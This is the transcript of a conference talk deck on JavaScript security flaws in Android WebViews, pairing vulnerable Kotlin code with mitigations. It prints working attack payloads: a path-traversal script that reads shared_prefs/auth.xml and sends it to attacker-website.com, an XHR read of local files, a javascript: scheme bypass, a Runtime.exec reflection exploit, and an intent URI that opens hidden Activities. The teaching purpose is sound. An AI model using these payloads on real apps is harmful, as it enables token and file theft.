Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Overcoming JavaScript Unsecurities in WebViews ...

Overcoming JavaScript Unsecurities in WebViews // Android Budapest September 2025

My presentation from the Android Budapest September 2025 meetup about JavaScript-related security issues in WebViews. It is a continuation, the second part of my Overcoming Unsecurities in WebViews talk: https://speakerdeck.com/balazsgerlei/droidcon-london-2024

Intro
In my previous talk with a similar title from last year, I briefly discussed running JavaScript in Android WebViews, stating that it could be a talk of its own. Since then, multiple people have asked about this topic, so I decided to make it to further help overcome the insecurity one may feel when working with unsecured WebViews. It’s an often-cited suggestion that you should disable JavaScript to secure your WebViews, but what if you explicitly want to execute JavaScript?

The easiest way to run JavaScript on Android is to create a “headless” WebView (that is not visible). There are many traps to be aware of, including:
- Allowing remote code execution via Cross-Site Scripting (XSS)
- Unintended access to Android components
- Unintended access to files via WebResourceResponse or URI
- Leaking data through the JavaScript Bridge

I’ll describe and demonstrate such attacks and show you ways to mitigate and secure your app. You will learn the importance of fully controlling the JavaScript you execute, how to restrict access to native components, on-device data, and more.

Links
PasswordStrengthExample - my demo from the talk comparing running password strength calculation natively, in WebView and with JavaScriptEngine:
https://github.com/balazsgerlei/PasswordStrengthExample

My SecureWebView library:
https://github.com/balazsgerlei/SecureWebView

Executing JavaScript and WebAssembly with JavascriptEngine:
https://developer.android.com/develop/ui/views/layout/webapps/jsengine

HackTricks - Webview Attacks:
https://book.hacktricks.wiki/en/mobile-pentesting/android-app-pentesting/webview-attacks.html

Application Security Cheat Sheet - WebView Vulnerabilities:
https://0xn3va.gitbook.io/cheat-sheets/android-application/webview-vulnerabilities

Avatar for Balázs Gerlei

Balázs Gerlei

September 18, 2025
Tweet

More Decks by Balázs Gerlei

Other Decks in Programming

Transcript

  1. Previously on Overcoming Unsecuritites • General WebView misconfigurations • Leaving

    Remote Debugging enabled • Allowing Clear Text Traffic - Network Security Config not respected until Android 8 (API 26) • Not enforcing HSTS • Not setting the Base URL and failing Same Origin Checks • Leaving file and ContentProvider access enabled • Not properly clearing cookies • Breakout demo (navigating away to insecure sites) @balazsgerlei, balazsgerlei.com
  2. Previously on Overcoming Unsecuritites • Couple of slides about JavaScript

    • JavaScript rendering runs in the same process as the rest of the app before Android 8 (API 26) • Use evaluateJavascript() instead passing script to loadUrl() • Sanitize (user) inputs (and escape JavaScript if not intended) • Restrict JavaScriptBridge usage • Received most of the questions about running JavaScript @balazsgerlei, balazsgerlei.com
  3. My talk from droidcon London 2024 • “Overcoming Unsecurities in

    WebViews” • youtu.be/fqaUJ08MQDo @balazsgerlei, balazsgerlei.com
  4. Headless WebView • Instantiate WebView from code • Can be

    used to evaluate JavaScript • Technically can be done with loadUrl(), but shouldn’t • Use evaluateJavascript() method val webView = WebView(activityContext) webView.evaluateJavascript( "javascript:void(alert(\"Hi!\"))" ) { result -> // handle result } @balazsgerlei, balazsgerlei.com
  5. Headless WebView • Instantiate WebView from code • Can be

    used to evaluate JavaScript • Technically can be done with loadUrl(), but shouldn’t • Use evaluateJavascript() method val webView = WebView(activityContext) webView.evaluateJavascript( "javascript:void(alert(\"Hi!\"))" ) { result -> // handle result } @balazsgerlei, balazsgerlei.com
  6. Missing Scheme Validation • Remember URIs does not necessary point

    to websites • If only the authority is validated, but not the scheme, it may be abused with a javascript scheme • E.g. "javascript://legitimatedomain.com/%0aalert(1)//" • instead of "https://legitimatedomain.com/privacy- policy" @balazsgerlei, balazsgerlei.com
  7. Missing Scheme Validation - Mitigations • Validate the URL scheme

    (not just the authority) • Only allow schemes you want to support • Preferably only https @balazsgerlei, balazsgerlei.com
  8. Accessing Files via XMLHttpRequest • If a WebView has file

    access enabled, an attacker may gain access to arbitrary files via XHR requests • They need to be able to control the path of the returned file • Or the ability to open arbitrary links (with file scheme) @balazsgerlei, balazsgerlei.com
  9. Accessing Files via XMLHttpRequest <script> var xhr = new XMLHttpRequest()

    xhr.onreadystatechange = function () { if (xhr.readyState == XMLHttpRequest.DONE && xhr.status == 200) { alert(`The secret is ${xhr.responseText}`) } } xhr.open("GET", "file:///android_asset/secret.txt", true) xhr.send() </script> @balazsgerlei, balazsgerlei.com
  10. Accessing Files via XMLHttpRequest <script> var xhr = new XMLHttpRequest()

    xhr.onreadystatechange = function () { if (xhr.readyState == XMLHttpRequest.DONE && xhr.status == 200) { alert(`The secret is ${xhr.responseText}`) } } xhr.open("GET", "file:///android_asset/secret.txt", true) xhr.send() </script> @balazsgerlei, balazsgerlei.com
  11. Accessing Files via XMLHttpRequest <script> var xhr = new XMLHttpRequest()

    xhr.onreadystatechange = function () { if (xhr.readyState == XMLHttpRequest.DONE && xhr.status == 200) { alert(`The secret is ${xhr.responseText}`) } } xhr.open("GET", "file:///android_asset/secret.txt", true) xhr.send() </script> @balazsgerlei, balazsgerlei.com
  12. Accessing Files via XMLHttpRequest <script> var xhr = new XMLHttpRequest()

    xhr.onreadystatechange = function () { if (xhr.readyState == XMLHttpRequest.DONE && xhr.status == 200) { alert(`The secret is ${xhr.responseText}`) } } xhr.open("GET", "file:///android_asset/secret.txt", true) xhr.send() </script> @balazsgerlei, balazsgerlei.com
  13. Accessing Files - Mitigations • Don’t enable file access to

    the WebView (disabled by default since Android 11 (API 30) • Remember to turn off both allowFileAccess and allowUniversalAccessFromFileURLs binding.webView.settings.allowFileAccess = false binding.webView.settings.allowUniversalAccessFromFileURLs = false @balazsgerlei, balazsgerlei.com
  14. Accessing Files via WebResourceResponse • Using WebResourceResponse allows emulating the

    server within WebView by intercepting requests and returning some content @balazsgerlei, balazsgerlei.com
  15. Accessing Files via WebResourceResponse webView.webViewClient = object : WebViewClient() {

    override fun shouldInterceptRequest( view: WebView, request: WebResourceRequest ): WebResourceResponse? { val uri = request.url if (uri.path?.startsWith("/local_cache/") == true && uri.lastPathSegment != null) { val cacheFile = File(requireActivity().cacheDir, uri.lastPathSegment!!) if (cacheFile.exists()) { try { FileInputStream(cacheFile).use { val headers: MutableMap<String?, String?> = HashMap() headers.put("Access-Control-Allow-Origin", "*") return WebResourceResponse("text/html", "utf-8", 200, "OK", headers, it) } } catch (_: IOException) { return null } } } return super.shouldInterceptRequest(view, request) } } @balazsgerlei, balazsgerlei.com
  16. Accessing Files via WebResourceResponse webView.webViewClient = object : WebViewClient() {

    override fun shouldInterceptRequest( view: WebView, request: WebResourceRequest ): WebResourceResponse? { val uri = request.url if (uri.path?.startsWith("/local_cache/") == true && uri.lastPathSegment != null) { val cacheFile = File(requireActivity().cacheDir, uri.lastPathSegment!!) if (cacheFile.exists()) { try { FileInputStream(cacheFile).use { val headers: MutableMap<String?, String?> = HashMap() headers.put("Access-Control-Allow-Origin", "*") return WebResourceResponse("text/html", "utf-8", 200, "OK", headers, it) } } catch (_: IOException) { return null } } } return super.shouldInterceptRequest(view, request) } } @balazsgerlei, balazsgerlei.com
  17. Accessing Files via WebResourceResponse webView.webViewClient = object : WebViewClient() {

    override fun shouldInterceptRequest( view: WebView, request: WebResourceRequest ): WebResourceResponse? { val uri = request.url if (uri.path?.startsWith("/local_cache/") == true && uri.lastPathSegment != null) { val cacheFile = File(requireActivity().cacheDir, uri.lastPathSegment!!) if (cacheFile.exists()) { try { FileInputStream(cacheFile).use { val headers: MutableMap<String?, String?> = HashMap() headers.put("Access-Control-Allow-Origin", "*") return WebResourceResponse("text/html", "utf-8", 200, "OK", headers, it) } } catch (_: IOException) { return null } } } return super.shouldInterceptRequest(view, request) } } @balazsgerlei, balazsgerlei.com
  18. Accessing Files via WebResourceResponse webView.webViewClient = object : WebViewClient() {

    override fun shouldInterceptRequest( view: WebView, request: WebResourceRequest ): WebResourceResponse? { val uri = request.url if (uri.path?.startsWith("/local_cache/") == true && uri.lastPathSegment != null) { val cacheFile = File(requireActivity().cacheDir, uri.lastPathSegment!!) if (cacheFile.exists()) { try { FileInputStream(cacheFile).use { val headers: MutableMap<String?, String?> = HashMap() headers.put("Access-Control-Allow-Origin", "*") return WebResourceResponse("text/html", "utf-8", 200, "OK", headers, it) } } catch (_: IOException) { return null } } } return super.shouldInterceptRequest(view, request) } } @balazsgerlei, balazsgerlei.com
  19. Accessing Files via WebResourceResponse webView.webViewClient = object : WebViewClient() {

    override fun shouldInterceptRequest( view: WebView, request: WebResourceRequest ): WebResourceResponse? { val uri = request.url if (uri.path?.startsWith("/local_cache/") == true && uri.lastPathSegment != null) { val cacheFile = File(requireActivity().cacheDir, uri.lastPathSegment!!) if (cacheFile.exists()) { try { FileInputStream(cacheFile).use { val headers: MutableMap<String?, String?> = HashMap() headers.put("Access-Control-Allow-Origin", "*") return WebResourceResponse("text/html", "utf-8", 200, "OK", headers, it) } } catch (_: IOException) { return null } } } return super.shouldInterceptRequest(view, request) } } @balazsgerlei, balazsgerlei.com
  20. Accessing Files via WebResourceResponse webView.webViewClient = object : WebViewClient() {

    override fun shouldInterceptRequest( view: WebView, request: WebResourceRequest ): WebResourceResponse? { val uri = request.url if (uri.path?.startsWith("/local_cache/") == true && uri.lastPathSegment != null) { val cacheFile = File(requireActivity().cacheDir, uri.lastPathSegment!!) if (cacheFile.exists()) { try { FileInputStream(cacheFile).use { val headers: MutableMap<String?, String?> = HashMap() headers.put("Access-Control-Allow-Origin", "*") return WebResourceResponse("text/html", "utf-8", 200, "OK", headers, it) } } catch (_: IOException) { return null } } } return super.shouldInterceptRequest(view, request) } } @balazsgerlei, balazsgerlei.com
  21. Accessing Files via WebResourceResponse webView.webViewClient = object : WebViewClient() {

    override fun shouldInterceptRequest( view: WebView, request: WebResourceRequest ): WebResourceResponse? { val uri = request.url if (uri.path?.startsWith("/local_cache/") == true && uri.lastPathSegment != null) { val cacheFile = File(requireActivity().cacheDir, uri.lastPathSegment!!) if (cacheFile.exists()) { try { FileInputStream(cacheFile).use { val headers: MutableMap<String?, String?> = HashMap() headers.put("Access-Control-Allow-Origin", "*") return WebResourceResponse("text/html", "utf-8", 200, "OK", headers, it) } } catch (_: IOException) { return null } } } return super.shouldInterceptRequest(view, request) } } @balazsgerlei, balazsgerlei.com
  22. Accessing Files via WebResourceResponse <script type="text/javascript"> function theftFile(path, callback) {

    var oReq = new XMLHttpRequest(); oReq.open("GET", "https://any.domain/local_cache/..%2F" + encodeURIComponent(path), true); oReq.onload = function(e) { callback(oReq.responseText); } oReq.onerror = function(e) { callback(null); } oReq.send(); } theftFile("shared_prefs/auth.xml", function(contents) { location.href = "https://attacker-website.com/?data=" + encodeURIComponent(contents); }); </script> @balazsgerlei, balazsgerlei.com
  23. Accessing Files via WebResourceResponse <script type="text/javascript"> function theftFile(path, callback) {

    var oReq = new XMLHttpRequest(); oReq.open("GET", "https://any.domain/local_cache/..%2F" + encodeURIComponent(path), true); oReq.onload = function(e) { callback(oReq.responseText); } oReq.onerror = function(e) { callback(null); } oReq.send(); } theftFile("shared_prefs/auth.xml", function(contents) { location.href = "https://attacker-website.com/?data=" + encodeURIComponent(contents); }); </script> @balazsgerlei, balazsgerlei.com
  24. Accessing Files via WebResourceResponse <script type="text/javascript"> function theftFile(path, callback) {

    var oReq = new XMLHttpRequest(); oReq.open("GET", "https://any.domain/local_cache/..%2F" + encodeURIComponent(path), true); oReq.onload = function(e) { callback(oReq.responseText); } oReq.onerror = function(e) { callback(null); } oReq.send(); } theftFile("shared_prefs/auth.xml", function(contents) { location.href = "https://attacker-website.com/?data=" + encodeURIComponent(contents); }); </script> @balazsgerlei, balazsgerlei.com
  25. Accessing Files via WebResourceResponse • This happened before: • https://blog.oversecured.com/Android-Exploring-vulnerabilities-in-

    WebResourceResponse/#an-overview-of-the-vulnerability-in- amazon%E2%80%99s-apps @balazsgerlei, balazsgerlei.com
  26. Accessing Files via WebResourceResponse - Mitigations • When implementing WebResourceResponse,

    use WebViewAssetLoader • It allows the app to safely process data from resources, assets or a predefined directory • Local files can be loaded using web-like URLs instead of "file://" • This is compatible with the Same-Origin policy. • https://developer.android.com/guide/topics/resources/providing- resources @balazsgerlei, balazsgerlei.com
  27. Accessing Files via WebResourceResponse - Mitigations val assetLoader: WebViewAssetLoader =

    WebViewAssetLoader.Builder() .addPathHandler("/assets/", WebViewAssetLoader.AssetsPathHandler(requireActivity())) .build() @balazsgerlei, balazsgerlei.com
  28. Accessing Files via WebResourceResponse - Mitigations val assetLoader: WebViewAssetLoader =

    WebViewAssetLoader.Builder() .addPathHandler("/assets/", WebViewAssetLoader.AssetsPathHandler(requireActivity())) .build() webView.webViewClient = object : WebViewClient() { override fun shouldInterceptRequest( view: WebView, request: WebResourceRequest ): WebResourceResponse? { return assetLoader.shouldInterceptRequest(request.url) } @SuppressWarnings("deprecation") // for API < 21 override fun shouldInterceptRequest( view: WebView, url: String ): WebResourceResponse? { return assetLoader.shouldInterceptRequest(url.toUri()) } } @balazsgerlei, balazsgerlei.com
  29. Accessing Files via WebResourceResponse - Mitigations val assetLoader: WebViewAssetLoader =

    WebViewAssetLoader.Builder() .addPathHandler("/assets/", WebViewAssetLoader.AssetsPathHandler(requireActivity())) .build() webView.webViewClient = object : WebViewClient() { override fun shouldInterceptRequest( view: WebView, request: WebResourceRequest ): WebResourceResponse? { return assetLoader.shouldInterceptRequest(request.url) } @SuppressWarnings("deprecation") // for API < 21 override fun shouldInterceptRequest( view: WebView, url: String ): WebResourceResponse? { return assetLoader.shouldInterceptRequest(url.toUri()) } } @balazsgerlei, balazsgerlei.com
  30. Accessing Files via WebResourceResponse - Mitigations val assetLoader: WebViewAssetLoader =

    WebViewAssetLoader.Builder() .addPathHandler("/assets/", WebViewAssetLoader.AssetsPathHandler(requireActivity())) .build() webView.webViewClient = object : WebViewClient() { override fun shouldInterceptRequest( view: WebView, request: WebResourceRequest ): WebResourceResponse? { return assetLoader.shouldInterceptRequest(request.url) } @SuppressWarnings("deprecation") // for API < 21 override fun shouldInterceptRequest( view: WebView, url: String ): WebResourceResponse? { return assetLoader.shouldInterceptRequest(url.toUri()) } } @balazsgerlei, balazsgerlei.com
  31. Cross-site scripting (XSS) • Inject client-side scripts into web pages

    • Effects vary from petty nuisance to significant security risk, depending on the sensitivity of the data • Exploited in Android WebView via JavaScript bridge @balazsgerlei, balazsgerlei.com
  32. JavaScript Bridge • The addJavascriptInterface() method injects the supplied Java

    object into a WebView • Injecting into all frames of the web page, including all the iframes • The Java object's methods will be accessed from JavaScript (fields are not) @balazsgerlei, balazsgerlei.com
  33. XSS via JavaScript Bridge @balazsgerlei, balazsgerlei.com class DefaultJavaScriptInterface(val context: Context)

    { @JavascriptInterface fun getToken(): String { val preferenceFileKey = context.getString(R.string.preference_file_key) return context.getSharedPreferences( preferenceFileKey, Context.MODE_PRIVATE) .run { val tokenKey = context.getString(R.string.token_key) getString(tokenKey, "") ?: "“ } } } class MainActivity : AppCompatActivity() { fun loadWebView() { binding.webView.settings.javaScriptEnabled = true binding.webView.addJavascriptInterface( DefaultJavaScriptInterface(this), "DefaultJavascriptInterface“ ) } } <script> alert("Token: " + DefaultJavascriptInterface.getToken()); </script>
  34. XSS via JavaScript Bridge @balazsgerlei, balazsgerlei.com class DefaultJavaScriptInterface(val context: Context)

    { @JavascriptInterface fun getToken(): String { val preferenceFileKey = context.getString(R.string.preference_file_key) return context.getSharedPreferences( preferenceFileKey, Context.MODE_PRIVATE) .run { val tokenKey = context.getString(R.string.token_key) getString(tokenKey, "") ?: "“ } } } class MainActivity : AppCompatActivity() { fun loadWebView() { binding.webView.settings.javaScriptEnabled = true binding.webView.addJavascriptInterface( DefaultJavaScriptInterface(this), "DefaultJavascriptInterface“ ) } } <script> alert("Token: " + DefaultJavascriptInterface.getToken()); </script>
  35. XSS via JavaScript Bridge @balazsgerlei, balazsgerlei.com class DefaultJavaScriptInterface(val context: Context)

    { @JavascriptInterface fun getToken(): String { val preferenceFileKey = context.getString(R.string.preference_file_key) return context.getSharedPreferences( preferenceFileKey, Context.MODE_PRIVATE) .run { val tokenKey = context.getString(R.string.token_key) getString(tokenKey, "") ?: "“ } } } class MainActivity : AppCompatActivity() { fun loadWebView() { binding.webView.settings.javaScriptEnabled = true binding.webView.addJavascriptInterface( DefaultJavaScriptInterface(this), "DefaultJavascriptInterface“ ) } } <script> alert("Token: " + DefaultJavascriptInterface.getToken()); </script>
  36. XSS via JavaScript Bridge @balazsgerlei, balazsgerlei.com class DefaultJavaScriptInterface(val context: Context)

    { @JavascriptInterface fun getToken(): String { val preferenceFileKey = context.getString(R.string.preference_file_key) return context.getSharedPreferences( preferenceFileKey, Context.MODE_PRIVATE) .run { val tokenKey = context.getString(R.string.token_key) getString(tokenKey, "") ?: "“ } } } class MainActivity : AppCompatActivity() { fun loadWebView() { binding.webView.settings.javaScriptEnabled = true binding.webView.addJavascriptInterface( DefaultJavaScriptInterface(this), "DefaultJavascriptInterface“ ) } } <script> alert("Token: " + DefaultJavascriptInterface.getToken()); </script>
  37. XSS via JavaScript Bridge @balazsgerlei, balazsgerlei.com class DefaultJavaScriptInterface(val context: Context)

    { @JavascriptInterface fun getToken(): String { val preferenceFileKey = context.getString(R.string.preference_file_key) return context.getSharedPreferences( preferenceFileKey, Context.MODE_PRIVATE) .run { val tokenKey = context.getString(R.string.token_key) getString(tokenKey, "") ?: "“ } } } class MainActivity : AppCompatActivity() { fun loadWebView() { binding.webView.settings.javaScriptEnabled = true binding.webView.addJavascriptInterface( DefaultJavaScriptInterface(this), "DefaultJavascriptInterface“ ) } } <script> alert("Token: " + DefaultJavascriptInterface.getToken()); </script>
  38. XSS via JavaScript Bridge @balazsgerlei, balazsgerlei.com class DefaultJavaScriptInterface(val context: Context)

    { @JavascriptInterface fun getToken(): String { val preferenceFileKey = context.getString(R.string.preference_file_key) return context.getSharedPreferences( preferenceFileKey, Context.MODE_PRIVATE) .run { val tokenKey = context.getString(R.string.token_key) getString(tokenKey, "") ?: "“ } } } class MainActivity : AppCompatActivity() { fun loadWebView() { binding.webView.settings.javaScriptEnabled = true binding.webView.addJavascriptInterface( DefaultJavaScriptInterface(this), "DefaultJavascriptInterface“ ) } } <script> alert("Token: " + DefaultJavascriptInterface.getToken()); </script>
  39. XSS via JavaScript Bridge @balazsgerlei, balazsgerlei.com class DefaultJavaScriptInterface(val context: Context)

    { @JavascriptInterface fun getToken(): String { val preferenceFileKey = context.getString(R.string.preference_file_key) return context.getSharedPreferences( preferenceFileKey, Context.MODE_PRIVATE) .run { val tokenKey = context.getString(R.string.token_key) getString(tokenKey, "") ?: "“ } } } class MainActivity : AppCompatActivity() { fun loadWebView() { binding.webView.settings.javaScriptEnabled = true binding.webView.addJavascriptInterface( DefaultJavaScriptInterface(this), "DefaultJavascriptInterface“ ) } } <script> alert("Token: " + DefaultJavascriptInterface.getToken()); </script>
  40. XSS via JavaScript Bridge @balazsgerlei, balazsgerlei.com class DefaultJavaScriptInterface(val context: Context)

    { @JavascriptInterface fun getToken(): String { val preferenceFileKey = context.getString(R.string.preference_file_key) return context.getSharedPreferences( preferenceFileKey, Context.MODE_PRIVATE) .run { val tokenKey = context.getString(R.string.token_key) getString(tokenKey, "") ?: "“ } } } class MainActivity : AppCompatActivity() { fun loadWebView() { binding.webView.settings.javaScriptEnabled = true binding.webView.addJavascriptInterface( DefaultJavaScriptInterface(this), "DefaultJavascriptInterface“ ) } } <script> alert("Token: " + DefaultJavascriptInterface.getToken()); </script>
  41. JavaScript Bridge used to be far worse <script> function execute(cmd){

    return DefaultJavascriptInterface.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke (null,null).exec(cmd); } execute(['/system/bin/sh','-c','echo \"mwr\" > /mnt/sdcard/mwr.txt’]); </script> @balazsgerlei, balazsgerlei.com • Non-annotated methods used to be accessible before Android 4.2 (API 17) • This was exploitable via reflection
  42. XSS via JavaScript Bridge - Mitigations • Restrict the JavaScript

    bridge to the absolute minimum • Only annotate necessary methods with @JavascriptInterface • Assume malicious intent from caller (especially if JavaScript comes from outside, not packaged within your app) • Only run JavaScript packaged with your app @balazsgerlei, balazsgerlei.com
  43. Accessing Android Components • You may want to offer launching

    URLs (in a browser) via JavaScript bridge • It may be abusable to launch arbitrary Android components (e.g. Activities) instead • Via an intent URI scheme and the component and selector fields @balazsgerlei, balazsgerlei.com
  44. Accessing Android Components binding.webView.addJavascriptInterface(object { @JavascriptInterface fun openUrl(url: String) {

    val intent = Intent.parseUri(url, 0) startActivity(intent) } }, "DefaultJavascriptInterface“) <script> function openurl() { DefaultJavascriptInterface.openUrl(“https://example.com"); } </script> @balazsgerlei, balazsgerlei.com
  45. Accessing Android Components binding.webView.addJavascriptInterface(object { @JavascriptInterface fun openUrl(url: String) {

    val intent = Intent.parseUri(url, 0) startActivity(intent) } }, "DefaultJavascriptInterface“) <script> function openurl() { DefaultJavascriptInterface.openUrl("intent:#Intent;component=com.example.webviewjavascriptexploits/com.example.webviewja vascriptexploits.demos.SecretActivity;S.url=http%3A%2F%2Fexample.com%2F;end"); } </script> @balazsgerlei, balazsgerlei.com
  46. Accessing Android Components binding.webView.addJavascriptInterface(object { @JavascriptInterface fun openUrl(url: String) {

    val intent = Intent.parseUri(url, 0) startActivity(intent) } }, "DefaultJavascriptInterface“) <script> function openurl() { DefaultJavascriptInterface.openUrl("intent:#Intent;component=com.example.webviewjavascriptexploits/com.example.webviewja vascriptexploits.demos.SecretActivity;S.url=http%3A%2F%2Fexample.com%2F;end"); } </script> @balazsgerlei, balazsgerlei.com
  47. Accessing Android Components binding.webView.addJavascriptInterface(object { @JavascriptInterface fun openUrl(url: String) {

    val intent = Intent.parseUri(url, 0) startActivity(intent) } }, "DefaultJavascriptInterface“) <script> function openurl() { DefaultJavascriptInterface.openUrl("intent:#Intent;component=com.example.webviewjavascriptexploits/com.example.webviewja vascriptexploits.demos.SecretActivity;S.url=http%3A%2F%2Fexample.com%2F;end"); } </script> @balazsgerlei, balazsgerlei.com
  48. Accessing Android Components binding.webView.addJavascriptInterface(object { @JavascriptInterface fun openUrl(url: String) {

    val intent = Intent.parseUri(url, 0) startActivity(intent) } }, "DefaultJavascriptInterface“) <script> function openurl() { DefaultJavascriptInterface.openUrl("intent:#Intent;component=com.example.webviewjavascriptexploits/com.example.webviewja vascriptexploits.demos.SecretActivity;S.url=http%3A%2F%2Fexample.com%2F;end"); } </script> @balazsgerlei, balazsgerlei.com
  49. Accessing Android Components binding.webView.addJavascriptInterface(object { @JavascriptInterface fun openUrl(url: String) {

    val intent = Intent.parseUri(url, 0) startActivity(intent) } }, "DefaultJavascriptInterface“) <script> function openurl() { DefaultJavascriptInterface.openUrl("intent:#Intent;component=com.example.webviewjavascriptexploits/com.example.webviewja vascriptexploits.demos.SecretActivity;S.url=http%3A%2F%2Fexample.com%2F;end"); } </script> @balazsgerlei, balazsgerlei.com
  50. Accessing Android Components - Mitigations binding.webView.addJavascriptInterface(object { @JavascriptInterface fun openUrl(url:

    String) { val intent = Intent.parseUri(url, 0) startActivity(intent) } }, "DefaultJavascriptInterface") @balazsgerlei, balazsgerlei.com
  51. Accessing Android Components - Mitigations binding.webView.addJavascriptInterface(object { @JavascriptInterface fun openUrl(url:

    String) { val intent = Intent.parseUri(url, 0) intent.addCategory(Intent.CATEGORY_BROWSABLE) intent.component = null intent.selector = null startActivity(intent) } }, "DefaultJavascriptInterface") @balazsgerlei, balazsgerlei.com
  52. Accessing Android Components - Mitigations binding.webView.addJavascriptInterface(object { @JavascriptInterface fun openUrl(url:

    String) { val intent = Intent.parseUri(url, 0) intent.addCategory(Intent.CATEGORY_BROWSABLE) intent.component = null intent.selector = null startActivity(intent) } }, "DefaultJavascriptInterface") @balazsgerlei, balazsgerlei.com
  53. Accessing Android Components - Mitigations binding.webView.addJavascriptInterface(object { @JavascriptInterface fun openUrl(url:

    String) { val intent = Intent.parseUri(url, 0) intent.addCategory(Intent.CATEGORY_BROWSABLE) intent.component = null intent.selector = null val activityInfo = intent.resolveActivityInfo( requireActivity().packageManager, PackageManager.MATCH_DEFAULT_ONLY) if (activityInfo.exported) { startActivity(intent) } } }, "DefaultJavascriptInterface") @balazsgerlei, balazsgerlei.com
  54. Accessing Android Components - Mitigations binding.webView.addJavascriptInterface(object { @JavascriptInterface fun openUrl(url:

    String) { val intent = Intent.parseUri(url, 0) intent.addCategory(Intent.CATEGORY_BROWSABLE) intent.component = null intent.selector = null val activityInfo = intent.resolveActivityInfo( requireActivity().packageManager, PackageManager.MATCH_DEFAULT_ONLY) if (activityInfo.exported) { startActivity(intent) } } }, "DefaultJavascriptInterface") @balazsgerlei, balazsgerlei.com
  55. Accessing Android Components - Mitigations binding.webView.addJavascriptInterface(object { @JavascriptInterface fun openUrl(url:

    String) { val intent = Intent.parseUri(url, 0) startActivity(intent) } }, "DefaultJavascriptInterface") @balazsgerlei, balazsgerlei.com
  56. Accessing Android Components - Mitigations binding.webView.addJavascriptInterface(object { @JavascriptInterface fun openUrl(url:

    String) { val intent = Intent(Intent.ACTION_VIEW, url.toUri()) startActivity(intent) } }, "DefaultJavascriptInterface") @balazsgerlei, balazsgerlei.com
  57. Accessing Android Components - Mitigations binding.webView.addJavascriptInterface(object { @JavascriptInterface fun openUrl(url:

    String) { val intent = Intent(Intent.ACTION_VIEW, url.toUri()) startActivity(intent) } }, "DefaultJavascriptInterface") @balazsgerlei, balazsgerlei.com
  58. Accessing Android Components - Mitigations • Think through the functionality

    you want to provide Use the constructor of Intent Explicitly set component and selector to null • Check exported status of the component before calling @balazsgerlei, balazsgerlei.com
  59. Finally, JavascriptEngine • Jetpack JavascriptEngine library has gone stable! •

    developer.android.com/jetpack/androidx/releases/javascriptengine • Multiple isolated environments with (relatively) low overhead • Asynchronous, based on ListenableFuture • Still uses WebView behind the scenes (need to be installed) • Can be used in a Service (doesn’t require an Activity) • Available from Android 8 (API 26) • Cannot make network requests! @balazsgerlei, balazsgerlei.com
  60. Takeaways • Don’t use WebView :) • More modern technologies

    are available • Use JavascriptEngine for JavaScript evaluation • If no network access needed • Package scripts with the app (or load from trusted sources) • Restrict JavaScript bridge • Think through edge cases (do Threat Modelling!) • Remember that http(s) is not the only URI scheme @balazsgerlei, balazsgerlei.com
  61. Köszi! Thank you! • speakerdeck.com/balazsgerlei • SecureWebView library • github.com/balazsgerlei/SecureWebView

    • Executing JavaScript and WebAssembly with JavascriptEngine • developer.android.com/develop/ui/views/layout/webapps/jsengine • HackTricks - Webview Attacks • book.hacktricks.wiki/en/mobile-pentesting/android-app- pentesting/webview-attacks.html • Application Security Cheat Sheet - WebView Vulnerabilities • 0xn3va.gitbook.io/cheat-sheets/android-application/webview- vulnerabilities @balazsgerlei, balazsgerlei.com